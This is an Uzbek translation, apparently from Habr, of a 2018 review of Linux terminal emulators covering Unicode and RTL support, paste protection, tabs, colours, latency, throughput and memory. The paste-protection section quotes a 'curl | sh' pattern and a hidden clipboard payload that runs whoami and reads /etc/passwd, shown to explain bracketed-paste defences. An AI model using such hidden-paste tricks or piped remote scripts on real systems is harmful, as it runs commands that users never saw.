Terminal emulyatorlarining umumiy ko'rinishi

Tarjima byuromizdan bir necha so'z: odatda hamma eng so'nggi materiallar va nashrlarni tarjima qilishga intiladi va biz bundan mustasno emasmiz. Ammo terminallar haftada bir marta yangilanadigan narsa emas. Shuning uchun biz siz uchun 2018 yil bahorida nashr etilgan Antuan Boprning maqolasini tarjima qildik: zamonaviy standartlar bo'yicha katta "yoshi" ga qaramay, bizning fikrimizcha, material o'z ahamiyatini yo'qotmagan. Bundan tashqari, bu dastlab ikkita maqola seriyasi edi, lekin biz ularni bitta katta postga birlashtirishga qaror qildik.

Terminal emulyatorlarining umumiy ko'rinishi

Terminallar kompyuter tarixida alohida o'rin tutadi, ammo so'nggi o'n yilliklarda ular grafik interfeyslar hamma joyda paydo bo'lishi sababli buyruq qatori bilan birga omon qolishga majbur bo'ldi. Terminal emulyatorlari o'z o'rnini egalladi apparat birodarlar, bu esa, o'z navbatida, perfokartalar va almashtirish kalitlariga asoslangan tizimlarning modifikatsiyasi edi. Zamonaviy tarqatishlar har qanday shakl va rangdagi turli terminal emulyatorlari bilan birga keladi. Ko'pchilik ish muhiti tomonidan taqdim etilgan standart terminaldan mamnun bo'lsa-da, ba'zilari o'zlarining sevimli qobiq yoki matn muharririni ishga tushirish uchun g'urur bilan ekzotik dasturlardan foydalanadilar. Ammo, ushbu maqoladan bilib olganimizdek, barcha terminallar bir xil tasvirda yaratilmagan: ular funksionallik, o'lcham va ishlash jihatidan juda farq qiladi.

Ba'zi terminallarda mutlaqo hayratlanarli xavfsizlik teshiklari mavjud, shuningdek, ularning aksariyati yorliqli interfeysni qo'llab-quvvatlashdan tortib skriptga qadar butunlay boshqa funktsiyalar to'plamiga ega. Garchi biz uzoq o'tmishdagi terminal emulyatorlarini ko'rib chiqdi, ushbu maqola oldingi materialning yangilanishi bo'lib, u o'quvchilarga 2018 yilda qaysi terminaldan foydalanishni aniqlashga yordam beradi. Maqolaning birinchi yarmida xususiyatlar taqqoslanadi, ikkinchi yarmida esa ishlash baholanadi.

Mana men ko'rib chiqqan terminallar:

Terminal emulyatorlarining umumiy ko'rinishi

Bu eng so'nggi versiyalar bo'lmasligi mumkin, chunki men yozish paytida men Debian 9 yoki Fedora 27-da foydalanishga muvaffaq bo'lgan barqaror tuzilmalar bilan cheklangan edim. Faqat Alacritty bundan mustasno. Bu GPU tezlashtirilgan terminallarning avlodi va bu vazifa uchun noodatiy va yangi tilda - Rustda yozilgan. Men veb-terminallarni ko'rib chiqishimdan chiqarib tashladim (shu jumladan Elektron), chunki dastlabki sinovlar ularning juda yomon ishlashini ko'rsatdi.

Unicode qo'llab-quvvatlash

Men sinovlarni Unicode qo'llab-quvvatlashi bilan boshladim. Terminallarning birinchi sinovi Unicode qatorini ko'rsatish edi Vikipediya maqolalari: “é, D, I, k, m, y, あ, y, y, y va da.” Ushbu oddiy test terminal butun dunyo bo'ylab to'g'ri ishlay oladimi yoki yo'qligini ko'rsatadi. xterm terminali arabcha belgini ko'rsatmaydi Mem standart konfiguratsiyada:

Terminal emulyatorlarining umumiy ko'rinishi

Odatiy bo'lib, xterm klassik "qat'iy" shriftdan foydalanadi, bunga ko'ra hali ham o'sha Viki, "1997 yildan beri sezilarli darajada Unicode qamroviga ega". Ushbu shriftda belgi bo'sh ramka sifatida paydo bo'lishiga olib keladigan nimadir sodir bo'ladi va faqat matn shrifti 20+ nuqtaga ko'tarilgandagina belgi to'g'ri ko'rsatila boshlaydi. Biroq, bu "tuzatish" boshqa Unicode belgilarining ko'rinishini buzadi:

Terminal emulyatorlarining umumiy ko'rinishi

Ushbu skrinshotlar Fedora 27 da olingan, chunki u Debian 9 ga qaraganda yaxshiroq natijalar berdi, bunda terminallarning ba'zi eski versiyalari (xususan mlterm) shriftlarni to'g'ri ishlata olmadi. Yaxshiyamki, bu keyingi versiyalarda tuzatildi.

Endi chiziq xtermda qanday ko'rsatilishiga e'tibor bering. Ma'lum bo'lishicha, Mem ramzi va keyingi semit qoph RTL uslubidagi skriptlarga qarang (o'ngdan chapga), shuning uchun texnik jihatdan ular o'ngdan chapga ko'rsatilishi kerak. Firefox 57 kabi veb-brauzerlar yuqoridagi qatorni to'g'ri boshqaradi. RTL matnining oddiyroq versiyasi bu "so'zi"Saraibroniy tilida (shrha). Ikki tomonlama matnlardagi Wiki sahifasi quyidagilarni aytadi:

“Ko'pgina kompyuter dasturlari ikki tomonlama matnni to'g'ri ko'rsata olmaydi. Misol uchun, ibroniycha "Sara" nomi sin (sh) (o'ngda ko'rsatiladi), keyin resh (r) va nihoyat u (h) (chapda paydo bo'lishi kerak) belgilaridan iborat.

Ko'pgina terminallar bu sinovdan o'ta olmaydi: Alacritty, VTE-dan olingan Gnome va XFCE terminallari, urxvt, st va xterm "Sara" ni teskari tartibda ko'rsatadi, go'yo biz nomni "Aras" deb yozganmiz.

Terminal emulyatorlarining umumiy ko'rinishi

Ikki tomonlama matnlarning yana bir muammosi shundaki, ular qandaydir tarzda tekislanishi kerak, ayniqsa RTL va LTR matnlarini aralashtirishda. RTL skriptlari terminal oynasining o'ng tomonidan ishga tushishi kerak, lekin LTR English standarti bo'lgan terminallar uchun nima bo'lishi kerak? Ularning aksariyatida hech qanday maxsus mexanizm yo'q va barcha matnni chapga tekislang (shu jumladan Konsolda). Istisnolar pterm va mlterm bo'lib, ular standartlarga mos keladi va bunday chiziqlarni o'ng tomonga tekislang.

Terminal emulyatorlarining umumiy ko'rinishi

Kiritishdan himoya qilish

Men aniqlagan keyingi muhim xususiyat - bu qo'yishga qarshi himoya. Ko'pchilikka ma'lum bo'lsa-da, afsunlar:

$ curl http://example.com/ | sh

Bu kodni bajarish bosish buyruqlari bo'lsa, maxfiy buyruqlar diqqat bilan tekshirilgandan keyin ham veb-brauzerdan nusxa ko'chirish va joylashtirishda konsolga yashirincha kirishi mumkinligini kam odam biladi. Gianna Horna tekshirish sayti Bu buyruqning naqadar zararsiz ko'rinishini ajoyib tarzda ko'rsatadi:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

Horn veb-saytidan terminalga yopishtirilganda bunday noqulaylikka aylanadi:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

U qanday ishlaydi? Zararli kod blokga kiritilgan , bu CSS yordamida foydalanuvchi ko'rinishidan olib tashlanadi.

Qavsli joylashtirish rejimi bunday hujumlarni zararsizlantirish uchun aniq mo'ljallangan. Ushbu rejimda terminallar matnning kelib chiqishi haqida qobiqqa xabar berish uchun qo'yilgan matnni bir juft maxsus qochish ketma-ketligi bilan qamrab oladi. Bu qobiqga qo'yilgan matnda bo'lishi mumkin bo'lgan maxsus belgilarni e'tiborsiz qoldirishi mumkinligini bildiradi. Hurmatli xtermga qaytgan barcha terminallar bu xususiyatni qo'llab-quvvatlaydi, ammo Qavslangan rejimda joylashtirish terminalda ishlaydigan qobiq yoki dastur tomonidan qo'llab-quvvatlanishini talab qiladi. Masalan, dasturiy ta'minotdan foydalanish GNU Readline (bir xil Bash), fayl kerak ~/.inputrc:

set enable-bracketed-paste on

Afsuski, Hornning sinov sayti matn formatlash orqali ushbu himoyani qanday chetlab o'tish va unga Qavs rejimini muddatidan oldin qo'llashni ko'rsatadi. Bu ishlaydi, chunki ba'zi terminallar o'zlarini qo'shishdan oldin qochish ketma-ketliklarini to'g'ri filtrlamaydi. Masalan, men o'zimda Konsole testlarini to'g'ri konfiguratsiya bilan ham muvaffaqiyatli yakunlay olmadim .inputrc fayl. Bu shuni anglatadiki, qo'llab-quvvatlanmaydigan dastur yoki noto'g'ri tuzilgan qobiq tufayli tizim konfiguratsiyasini osongina buzishingiz mumkin. Bu, ayniqsa, uzoq serverlarga kirishda xavflidir, bu erda ehtiyotkorlik bilan sozlash ishlari kamroq uchraydi, ayniqsa sizda bunday masofaviy mashinalar ko'p bo'lsa.

Ushbu muammoning yaxshi yechimi terminal uchun joylashtirishni tasdiqlash plaginidir urxvt, bu shunchaki yangi qatorlarni o'z ichiga olgan har qanday matnni kiritish uchun ruxsat so'raydi. Men Horn tomonidan tasvirlangan matn hujumi uchun xavfsizroq variantni topmadim.

Yorliqlar va profillar

Hozirda mashhur xususiyat bu tabli interfeysni qo'llab-quvvatlash bo'lib, biz uni bir nechta boshqa terminallarni o'z ichiga olgan bitta terminal oynasi sifatida belgilaymiz. Bu funksiya turli terminallar uchun farq qiladi va garchi anʼanaviy xterm terminallari yorliqlarni umuman qoʻllab-quvvatlamasa ham, Xfce Terminal, GNOME Terminal va Konsole kabi zamonaviyroq terminallarda bu funksiya mavjud. Urxvt yorliqlarni ham qo'llab-quvvatlaydi, lekin faqat plagindan foydalansangiz. Ammo yorliqlarni qo'llab-quvvatlash nuqtai nazaridan, Terminator shubhasiz etakchi hisoblanadi: u nafaqat yorliqlarni qo'llab-quvvatlaydi, balki terminallarni istalgan tartibda tartibga solishi mumkin (quyidagi rasmga qarang).

Terminal emulyatorlarining umumiy ko'rinishi

Terminatorning yana bir xususiyati - bu yorliqlarni "guruhlash" va bir vaqtning o'zida bir nechta terminallarga bir xil tugmachalarni bosish qobiliyati, bu bir vaqtning o'zida bir nechta serverlarda ommaviy operatsiyalarni bajarish uchun qo'pol vositadir. Shunga o'xshash xususiyat Konsolda ham amalga oshiriladi. Ushbu xususiyatni boshqa terminallarda ishlatish uchun siz uchinchi tomon dasturlarini ishlatishingiz kerak, masalan SSH klasteri, xlax yoki tmux.

Yorliqlar, ayniqsa, profillar bilan bog'langanda yaxshi ishlaydi: masalan, sizda elektron pochta uchun bitta yorliq bo'lishi mumkin, suhbat uchun boshqasi va hokazo. Bu Konsole Terminal va GNOME Terminal tomonidan yaxshi qo'llab-quvvatlanadi. Ikkalasi ham har bir tabga o'z profilini avtomatik ravishda ishga tushirishga imkon beradi. Terminator profillarni ham qo'llab-quvvatlaydi, lekin men ma'lum bir yorliqni ochganingizda ma'lum dasturlarni avtomatik ravishda ishga tushirish usulini topa olmadim. Boshqa terminallarda "profil" tushunchasi umuman yo'q.

Ruffles

Ushbu maqolaning birinchi qismida men ko'rib chiqadigan oxirgi narsa - bu terminallarning ko'rinishi. Masalan, GNOME, Xfce va urxvt shaffoflikni qo'llab-quvvatlaydi, ammo yaqinda fon tasvirlarini qo'llab-quvvatlashni to'xtatib, ba'zi foydalanuvchilarni terminalga o'tishga majbur qildi. Tilix. Shaxsan men bundan mamnunman va bu oddiy Xresurslar, bu urxvt uchun fon ranglarining asosiy to'plamini o'rnatadi. Biroq, nostandart rang mavzulari ham muammolarni keltirib chiqarishi mumkin. Masalan, Solarlashtirilgan ishlamayapti ilovalar bilan htop и IPTraf, chunki ular allaqachon o'zlarining ranglarini ishlatishadi.

Asl VT100 terminali ranglarni qo'llab-quvvatlamadi va yangilari ko'pincha 256 rang palitrasi bilan cheklangan. Terminallarini, qobiqli ko'rsatmalarni yoki holat satrlarini murakkab shaklda yaratadigan ilg'or foydalanuvchilar uchun zerikarli cheklov bo'lishi mumkin. Gist qaysi terminallar "True Color" qo'llab-quvvatlanishini kuzatadi. Mening testlarim st, Alacritty va VTE-ga asoslangan terminallar True Colorni mukammal darajada qo'llab-quvvatlashini tasdiqlaydi. Boshqa terminallar bu borada unchalik yaxshi ishlamaydi va aslida 256 rangni ham ko'rsatmaydi. Quyida GNOME terminallaridagi True Color qo‘llab-quvvatlashi, 256 rang palitrasi bilan buni yaxshi bajaradigan st va xterm va urxvt o‘rtasidagi farqni ko‘rishingiz mumkin, bu nafaqat sinovdan o‘tmaydi, balki ularning o‘rniga miltillovchi belgilarni ham ko‘rsatadi.

Terminal emulyatorlarining umumiy ko'rinishi

Ba'zi terminallar havolalarni bosish mumkin bo'lishi uchun URL naqshlari uchun matnni ham tahlil qiladi. Bu VTE-dan olingan barcha terminallar uchun amal qiladi, urxvt esa URL-manzillarni bosish yoki klaviatura yorlig'i yordamida o'zgartiradigan maxsus plaginni talab qiladi. Men sinab ko'rgan boshqa terminallar URL manzillarini boshqa yo'llar bilan ko'rsatadi.

Nihoyat, terminallardagi yangi tendentsiya - aylantirish buferining ixtiyoriyligi. Masalan, st ning aylantirish buferi yo'q; foydalanuvchi tmux va kabi terminal multipleksoridan foydalanadi deb taxmin qilinadi GNU ekrani.

Alacritty, shuningdek, backscroll buferlari yo'q, lekin tez orada qo'shiladi foydalanuvchilarning ushbu mavzu bo'yicha "keng fikr-mulohazalari" tufayli uni qo'llab-quvvatlash. Ushbu yangilanishlardan tashqari, men sinab ko'rgan har bir terminal teskari aylantirishni qo'llab-quvvatlaydi.

Oraliq summalar

Materialning ikkinchi qismida (Asl nusxada bu ikki xil maqola edi - taxminan. qator) unumdorlikni, xotiradan foydalanishni va kechikishni solishtiramiz. Ammo ko'rib chiqilayotgan terminallarning ba'zilarida jiddiy kamchiliklar borligini allaqachon ko'rishimiz mumkin. Misol uchun, muntazam ravishda RTL skriptlari bilan ishlaydigan foydalanuvchilar mlterm va ptermni ko'rib chiqishlari mumkin, chunki ular shunga o'xshash vazifalarni boshqalarga qaraganda yaxshiroq hal qilishadi. Konsole ham yaxshi o‘ynadi. RTL skriptlari bilan ishlamaydigan foydalanuvchilar boshqa narsani tanlashlari mumkin.

Zararli kodni kiritishdan himoya qilish nuqtai nazaridan, urxvt ushbu turdagi hujumlardan himoyani maxsus amalga oshirishi bilan ajralib turadi, bu men uchun shubhasiz qulay ko'rinadi. Ba'zi qo'ng'iroqlar va hushtaklarni qidirayotganlar uchun Konsole qarashga arziydi. Va nihoyat, shuni ta'kidlash kerakki, VTE terminallar uchun ajoyib asos bo'lib, ranglarni qo'llab-quvvatlash, URL manzilini aniqlash va hokazolarni kafolatlaydi. Bir qarashda, sizning sevimli muhitingiz bilan birga keladigan standart terminal barcha talablarga javob berishi mumkin, ammo biz ishlashni tushunmagunimizcha, bu savolni ochiq qoldiraylik.

Keling, suhbatni davom ettiramiz


Umuman olganda, terminallarning ishlashi o'z-o'zidan qiyin muammo bo'lib tuyulishi mumkin, ammo ma'lum bo'lishicha, ularning ba'zilari bunday fundamental turdagi dasturiy ta'minot uchun hayratlanarli darajada yuqori kechikishlarni namoyish etadi. Bundan tashqari, biz an'anaviy ravishda "tezlik" deb ataladigan narsalarni (aslida bu aylanish tezligi) va terminalning xotira iste'molini ko'rib chiqamiz (bu bugungi kunda o'nlab yillar oldin bo'lgani kabi muhim emasligi haqida ogohlantirish bilan).

Kechiktirish

Terminal ishlashini to'liq o'rganib chiqqanimdan so'ng, men bu boradagi eng muhim parametr kechikish (ping) degan xulosaga keldim. Uning maqolasida "Biz zavq bilan chop etamiz" Pavel Fatin turli xil matn muharrirlarining kechikish muddatini ko'rib chiqdi va bu borada terminallar eng tezkor matn muharrirlariga qaraganda sekinroq bo'lishi mumkinligiga ishora qildi. Aynan shu maslahat meni o'z testlarimni o'tkazishga va ushbu maqolani yozishga olib keldi.

Ammo kechikish nima va u nima uchun juda muhim? Fatin o'z maqolasida buni "tugmachani bosish va mos keladigan ekranni yangilash o'rtasidagi kechikish" deb ta'riflagan va iqtibos keltirgan. "Inson va kompyuterning o'zaro ta'siri bo'yicha qo'llanma", unda shunday deyilgan: "Kompyuter displeyidagi vizual fikr-mulohazalarning kechikishi yozuvchining xatti-harakati va qoniqishiga muhim ta'sir ko'rsatadi."

Fatinning ta'kidlashicha, bu ping shunchaki qoniqishdan ko'ra chuqurroq oqibatlarga olib keladi: "yozish sekinlashadi, xatolar ko'proq bo'ladi, ko'z va mushaklarning kuchlanishi kuchayadi". Boshqacha qilib aytadigan bo'lsak, katta kechikish matn terish xatolariga va shuningdek, kod sifatining pasayishiga olib kelishi mumkin, chunki bu miyaga qo'shimcha kognitiv yuk olib keladi. Ammo bundan ham yomoni shundaki, ping "ko'z va mushaklarning kuchlanishini oshiradi". kasbiy jarohatlarning rivojlanishi kelajakda (Ko'rinishidan, muallif ko'z, orqa, qo'llar va, albatta, ko'rish mushaklari bilan bog'liq muammolarni nazarda tutadi - taxminan. qator) takroriy stress tufayli.

Ushbu ta'sirlarning ba'zilari uzoq vaqtdan beri ma'lum va natijalar tadqiqot, 1976 yilda Ergonomics jurnalida nashr etilgan, 100 millisekundlik kechikish "yozish tezligini sezilarli darajada yomonlashtiradi". Yaqinda GNOME foydalanuvchi qo'llanmasi taqdim etildi qabul qilinadigan javob vaqti 10 millisekundda va agar siz oldinga borsangiz, keyin Microsoft Tadqiqotlari 1 millisekund ideal ekanligini ko'rsatadi.

Fatin o'z testlarini matn muharrirlarida o'tkazdi; deb nomlangan ko'chma asbob yaratdi Tipometr, men terminal emulyatorlarida pingni sinab ko'rganman. Sinov simulyatsiya rejimida o'tkazilganligini yodda tuting: aslida biz kirish (klaviatura, USB kontroller va boshqalar) va chiqish (video karta buferi, monitor) kechikishini hisobga olishimiz kerak. Fatinning so'zlariga ko'ra, odatiy konfiguratsiyalarda u taxminan 20 milodiyni tashkil qiladi. Agar sizda o'yin uskunalari bo'lsa, bu ko'rsatkichga atigi 3 millisekundda erisha olasiz. Bizda bunday tezkor uskuna allaqachon mavjud bo'lganligi sababli, ilova o'z kechikish vaqtini qo'shishi shart emas. Fatinning maqsadi - ilovaning kechikish muddatini 1 millisekundga etkazish yoki hatto qo'ng'iroq qilmasdan qo'ng'iroq qilish o'lchanadigan kechikish, qanday qilib IntelliJ IDEA 15.

Mening o'lchovlarim natijalari, shuningdek, Fatinning ba'zi natijalari, mening tajribam uning sinovlariga mos kelishini ko'rsatish uchun:

Terminal emulyatorlarining umumiy ko'rinishi

Meni hayratga solgan birinchi narsa xterm va mlterm kabi eski dasturlarning yaxshi javob berish vaqti edi. Eng yomon registrning kechikishi (2,4 ms) bilan ular eng tez zamonaviy terminaldan (st uchun 10,6 ms) yaxshiroq ishladilar. Hech bir zamonaviy terminal 10 millisekundlik chegaradan pastga tushmaydi. Xususan, Alacritty "eng tezkor terminal emulyatori" da'vosiga javob bera olmaydi, garchi uning ballari 2017 yilda birinchi ko'rib chiqilganidan beri yaxshilangan. Haqiqatan ham, loyiha mualliflari vaziyatdan xabardor va displeyni yaxshilash ustida ishlamoqda. Shuni ham ta'kidlash kerakki, GTK3-dan foydalanadigan Vim uning GTK2 hamkasbiga qaraganda sekinroq kattalik tartibidir. Bundan xulosa qilishimiz mumkinki, GTK3 qo'shimcha kechikishlarni yaratadi va bu uni ishlatadigan barcha boshqa terminallarda (Terminator, Xfce4 Terminal va GNOME Terminal) aks etadi.

Biroq, farqlar ko'zga sezilmasligi mumkin. Fatin tushuntirganidek, "uning sizga ta'sir qilishi uchun kechikishdan xabardor bo'lishingiz shart emas". Fatin, shuningdek, standart og'ish haqida ogohlantiradi: "kechikishdagi har qanday buzilishlar (jitter) oldindan aytib bo'lmaydiganligi sababli qo'shimcha stressni keltirib chiqaradi."

Terminal emulyatorlarining umumiy ko'rinishi

Yuqoridagi grafik sof Debian 9 (strech) da olingan i3 oyna menejeri. Bu muhit kechikish sinovlarida eng yaxshi natijalarni beradi. Ma'lum bo'lishicha, GNOME barcha o'lchovlar uchun 20 ms qo'shimcha ping yaratadi. Buning mumkin bo'lgan tushuntirishi kirish hodisalarini sinxron qayta ishlashga ega dasturlarning mavjudligidir. Fatin bunday holatga misol keltiradi Ishlash, bu barcha kirish hodisalarini sinxron tarzda qayta ishlash orqali kechikishni qo'shadi. Odatiy bo'lib, GNOME ham oyna boshqaruvchisi bilan birga keladi ona, bu qo'shimcha buferlash qatlamini yaratadi, bu pingga ta'sir qiladi va kamida 8 millisekundlik kechikishni qo'shadi.

Terminal emulyatorlarining umumiy ko'rinishi

O'tkazish tezligi

Keyingi test an'anaviy "tezlik" yoki "o'tkazish qobiliyati" testi bo'lib, u ekranda katta hajmdagi matnni ko'rsatishda terminal sahifani qanchalik tez aylantirishi mumkinligini o'lchaydi. Sinovning mexanikasi har xil; original test seq buyrug'i yordamida bir xil matn qatorini yaratish edi. Boshqa testlar orasida Tomas E. Dikki (xterm saqlovchi) testi qayta-qayta takrorlanadi terminfo.src fayli yuklab olinadi. Terminalning ishlashini yana bir ko'rib chiqishda Den Luu cat yordamida terminalga chiqariladigan tasodifiy baytlarning base32 kodlangan qatoridan foydalanadi. Luu bunday testni "tasavvur qilish mumkin bo'lgan befoyda benchmark" deb hisoblaydi va buning o'rniga terminal javobini asosiy ko'rsatkich sifatida ishlatishni taklif qiladi. Dikki ham o'z testini noto'g'ri deb ataydi. Biroq, ikkala muallif ham terminal oynasining tarmoqli kengligi muammo bo'lishi mumkinligini tan oladi. Luu Emacs Eshell-ning katta fayllarni ko'rsatishda muzlashini aniqladi va Dikki xtrermning vizual sustligidan xalos bo'lish uchun terminalni optimallashtirdi. Shunday qilib, bu test uchun hali ham ba'zi afzalliklar bor, lekin ko'rsatish jarayoni terminaldan terminalga juda farq qilganligi sababli, u boshqa parametrlarni sinab ko'rish uchun sinov komponenti sifatida ham foydalanish mumkin.

Terminal emulyatorlarining umumiy ko'rinishi

Bu yerda biz raqobatdan oldinda rxvt va st pull, undan keyin esa ishlashga e'tibor qaratilgan holda ishlab chiqilgan ancha yangi Alacritty-ni ko'ramiz. Keyingi o'rinlarda Xfce (VTE oilasi) va Konsole, ular deyarli ikki barobar tezroq. Oxirgi xterm, bu rxvt dan besh marta sekinroq. Sinov paytida xterm ham juda ko'p to'lqinlanardi, bu esa matnni bir xil satr bo'lsa ham ko'rishni qiyinlashtirdi. Konsole tez edi, lekin ba'zida qiyin edi: displey vaqti-vaqti bilan muzlab qolar, qisman matnni ko'rsatadi yoki umuman ko'rsatmaydi. Boshqa terminallar st, Alacritty va rxvt kabi qatorlarni aniq ko'rsatdi.

Dikki, ishlash farqlari turli terminallarda aylantirish buferlarining dizayni bilan bog'liqligini tushuntiradi. Xususan, u rxvt va boshqa terminallarni "umumiy qoidalarga rioya qilmaslik"da ayblaydi:

"Xtermdan farqli o'laroq, rxvt barcha yangilanishlarni ko'rsatishga urinmadi. Agar u orqada qolsa, u ba'zi yangilanishlarni ushlash uchun rad etadi. Bu ichki xotirani tashkil qilishdan ko'ra ko'rinadigan aylanish tezligiga ko'proq ta'sir qildi. Bir kamchilik shundaki, ASCII animatsiyasi biroz noaniq edi."

Ushbu sezilgan xterm sustligini tuzatish uchun Dikki resursdan foydalanishni taklif qiladi fastScroll, xterm-ga oqimni kuzatib borish uchun ba'zi ekran yangilanishlarini bekor qilish imkonini beradi. Mening testlarim fastScroll ish faoliyatini yaxshilashini va xtermni rxvt bilan tenglashtirishini tasdiqlaydi. Biroq, bu juda qo'pol tayoq, Dikkining o'zi tushuntirganidek: "ba'zida xterm - konsole kabi - ba'zilari olib tashlanganidan keyin ekran yangilanishlarining yangi to'plamini kutayotganda to'xtab qolganga o'xshaydi". Shu nuqtai nazardan, boshqa terminallar tezlik va displey yaxlitligi o'rtasidagi eng yaxshi kelishuvni topganga o'xshaydi.

Resurs iste'moli

O'tkazish tezligini ishlash ko'rsatkichi sifatida ko'rib chiqish mantiqiy bo'lishidan qat'i nazar, bu test bizga terminallardagi yukni simulyatsiya qilish imkonini beradi, bu esa o'z navbatida xotira yoki diskdan foydalanish kabi boshqa parametrlarni o'lchash imkonini beradi. Ko'rsatkichlar belgilangan testni o'tkazish orqali olingan seq Python jarayoni monitoringi ostida. U hisoblagich ma'lumotlarini yig'di getrusage() uchun ru_maxrss, miqdori ru_oublock и ru_inblock va oddiy taymer.

Terminal emulyatorlarining umumiy ko'rinishi

Ushbu testda ST eng kam o'rtacha xotira iste'moli 8 MB bilan birinchi o'rinni egallaydi, bu dizaynning asosiy g'oyasi soddaligi ekanligini hisobga olsak ajablanarli emas. mlterm, xterm va rxvt biroz ko'proq iste'mol qiladi - taxminan 12 MB. Yana bir e'tiborga molik natija - Alacritty, uning ishlashi uchun 30 MB talab qilinadi. Keyin 40 dan 60 MB gacha bo'lgan VTE oilasining terminallari mavjud, bu juda ko'p. Ushbu iste'molni ushbu terminallar yuqori darajadagi kutubxonalardan foydalanishi bilan izohlash mumkin, masalan, GTK. Konsole sinovlar davomida 65 MB hajmdagi xotira iste'moli bilan oxirgi o'rinda turadi, garchi buni uning juda keng xususiyatlari bilan oqlash mumkin.

O'n yil oldin olingan oldingi natijalar bilan solishtirganda, barcha dasturlar sezilarli darajada ko'proq xotirani iste'mol qila boshladi. Ilgari Xterm 4 MB talab qilgan, endi esa ishga tushirilganda 15 MB talab qilinadi. Rxvt uchun iste'molning xuddi shunday o'sishi mavjud, bu endi qutidan 16 MB talab qiladi. Xfce Terminali 34 MB joyni egallaydi, bu avvalgidan uch baravar katta, lekin GNOME terminali uchun atigi 20 MB talab qilinadi. Albatta, oldingi barcha sinovlar 32-bitli arxitekturada o'tkazildi. LCA 2012 da Rusty Russell Men aytgan, xotira sarfini ko'paytirishni tushuntirishi mumkin bo'lgan yana ko'p nozik sabablar mavjudligi. Aytgancha, biz hozir gigabayt xotiraga ega bo'lgan davrda yashayapmiz, shuning uchun biz qandaydir tarzda boshqaramiz.

Biroq, terminal kabi asosiy narsaga ko'proq xotira ajratish resurslarni isrof qilish ekanligini his qilolmayman. Ushbu dasturlar eng kichigi bo'lishi kerak, har qanday "qutida", hatto poyabzal qutisida ham ishlashi kerak, agar biz ularni Linux tizimlari bilan jihozlash kerak bo'lgan nuqtaga kelsak (va siz bilasizki, bu shunday bo'ladi). ). Ammo bu raqamlar bilan xotiradan foydalanish kelajakda eng engil va cheklangan imkoniyatlardan tashqari bir nechta terminallar bilan ishlaydigan har qanday muhitda muammoga aylanadi. Buning o'rnini qoplash uchun GNOME Terminal, Konsole, urxvt, Terminator va Xfce Terminalda bir nechta terminallarni bitta jarayon orqali boshqarish imkonini beruvchi, xotira sarfini cheklash imkonini beruvchi Daemon rejimi mavjud.

Terminal emulyatorlarining umumiy ko'rinishi

Sinovlar paytida men diskni o'qish-yozish bo'yicha yana bir kutilmagan natijaga keldim: men bu erda hech narsa ko'rmasligimni kutgan edim, ammo ma'lum bo'ldiki, ba'zi terminallar diskka eng katta hajmli ma'lumotlarni yozadilar. Shunday qilib, VTE kutubxonasi aslida diskda aylantirish buferini saqlaydi (bu xususiyat 2010 yilda qayd etilgan, va bu hali ham sodir bo'lmoqda). Ammo eski ilovalardan farqli o'laroq, endi hech bo'lmaganda bu ma'lumotlar AES256 GCM () yordamida shifrlangan.0.39.2 versiyasidan). Ammo o'rinli savol tug'iladi: VTE kutubxonasining nimasi shu qadar o'ziga xoski, u amalga oshirish uchun bunday nostandart yondashuvni talab qiladi...

xulosa

Maqolaning birinchi qismida biz VTE-ga asoslangan terminallarning yaxshi funktsiyalar to'plamiga ega ekanligini aniqladik, ammo endi biz bu ba'zi ishlash xarajatlari bilan kelishini ko'ramiz. Endi xotira muammo emas, chunki barcha VTE terminallarini Daemon jarayoni orqali boshqarish mumkin, bu ularning ishtahasini cheklaydi. Biroq, RAM va yadro buferlari miqdorida jismoniy cheklovlarga ega eski tizimlar hali ham terminallarning oldingi versiyalariga muhtoj bo'lishi mumkin, chunki ular sezilarli darajada kamroq resurslarni iste'mol qiladi. VTE terminallari o'tkazish (aylantirish) testlarida yaxshi natijalarga erishgan bo'lsa-da, ularning ko'rsatish kechikishi GNOME foydalanuvchi qo'llanmasida belgilangan chegaradan yuqori. VTE ishlab chiquvchilari buni hisobga olishlari kerak. Agar biz yangi Linux foydalanuvchilari uchun ham terminalga duch kelishi muqarrar ekanligini hisobga olsak, ular uni yanada qulayroq qilishlari mumkin. Tajribali geeks uchun standart terminaldan o'tish hatto kamroq ko'zni chalg'itishi va uzoq ish seanslari tufayli kelajakda ish bilan bog'liq jarohatlar va kasalliklarning oldini olish qobiliyatini anglatishi mumkin. Afsuski, faqat eski xterm va mlterm bizni 10 millisekundlik sehrli ping chegarasiga olib keladi, bu ko'pchilik uchun qabul qilinishi mumkin emas.

Benchmark o'lchovlari shuni ko'rsatdiki, Linux grafik muhitlarining rivojlanishi tufayli ishlab chiquvchilar bir qator murosaga kelishlari kerak edi. Ba'zi foydalanuvchilar oddiy oyna boshqaruvchilariga qarashni xohlashlari mumkin, chunki ular pingni sezilarli darajada kamaytiradi. Afsuski, Wayland uchun kechikish vaqtini o'lchashning iloji bo'lmadi: men ishlatgan Typometer dasturi Waylandning oldini olish uchun yaratilgan: boshqa oynalarda josuslik. Umid qilamanki, Wayland kompozitsiyasi X.org dan yaxshiroq ishlaydi va kelajakda kimdir bu muhitda kechikishni o'lchash yo'lini topadi deb umid qilaman.

Manba: www.habr.com

a Izoh qo'shish